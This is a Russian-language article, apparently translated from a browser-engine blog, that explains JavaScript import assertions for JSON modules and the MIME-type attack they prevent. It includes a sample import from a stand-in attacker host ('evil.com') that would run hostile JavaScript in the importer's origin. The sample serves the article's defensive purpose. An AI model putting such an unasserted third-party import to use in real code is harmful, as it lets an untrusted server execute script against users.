Импорт утверждений
Новая функция импорта утверждений позволяет заявлениям импорта модулей включать дополнительную информацию вместе со спецификатором модуля. Первоначальное использование этой функции — это возможность импортировать JSON-документы в качестве JSON-модулей:
// foo.json
{ "answer": 42 }
// main.mjs
import json from './foo.json' assert { type: 'json' };
console.log(json.answer); // 42
Предыстория: JSON-модули и MIME-тип
Естественный вопрос заключается в том, почему JSON-модуль нельзя просто импортировать вот так:
import json from './foo.json';
Веб-платформа проверяет MIME-тип ресурса модуля на соответствие перед его выполнением, и теоретически этот MIME-тип можно было бы использовать для определения, обрабатывать ли ресурс как JSON или как JavaScript-модуль.
Однако, существует проблема безопасности, связанная с использованием только MIME-типа.
Модули могут импортироваться с другого домена, и разработчик может импортировать JSON-модуль из стороннего источника. Это может показаться относительно безопасным, даже если источник не доверен, при условии, что JSON правильно очищен, так как импорт JSON не выполняет скрипт.
Однако, сторонний скрипт на самом деле может выполниться в этом сценарии, потому что сервер стороннего источника может неожиданно ответить типом MIME для JavaScript и вредоносным JavaScript-кодом, запустив его в домене импортера.
// Выполняет JavaScript, если злоумышленник отвечает
// MIME-типом JavaScript (например, `text/javascript`)!
import data from 'https://evil.com/data.json';
Расширения файлов не могут использоваться для определения типа модуля, потому что они не являются надежным индикатором типа контента в интернете. Вместо этого мы используем импорт утверждений для указания ожидаемого типа модуля и предотвращения такой проблемы повышения привилегий.
Когда разработчик хочет импортировать JSON-модуль, он должен использовать импорт утверждений, чтобы указать, что это должен быть JSON. Импорт завершится неудачей, если MIME-тип, полученный из сети, не соответствует ожидаемому типу:
// Завершается неудачей, если злоумышленник отвечает MIME-типом, не являющимся JSON.
import data from 'https://evil.com/data.json' assert { type: 'json' };
Динамический import()
Импорт утверждений также может передаваться в динамический import()
с помощью нового второго параметра:
// foo.json
{ "answer": 42 }
// main.mjs
const jsonModule = await import('./foo.json', {
assert: { type: 'json' }
});
console.log(jsonModule.default.answer); // 42
Содержимое JSON является экспортом по умолчанию модуля, поэтому оно доступно через свойство default
объекта, возвращенного из import()
.
Заключение
В настоящее время единственное указанное использование импорт утверждений — это для указания типа модуля. Однако, эта функция была разработана с учетом возможности использования произвольных пар ключ/значение, поэтому в будущем могут быть добавлены дополнительные способы ограничения импорта модулей.
Между тем, JSON-модули с синтаксисом новых утверждений импорта доступны по умолчанию в Chromium 91. Модульные скрипты CSS также скоро появятся, используя тот же синтаксис утверждений для типа модуля.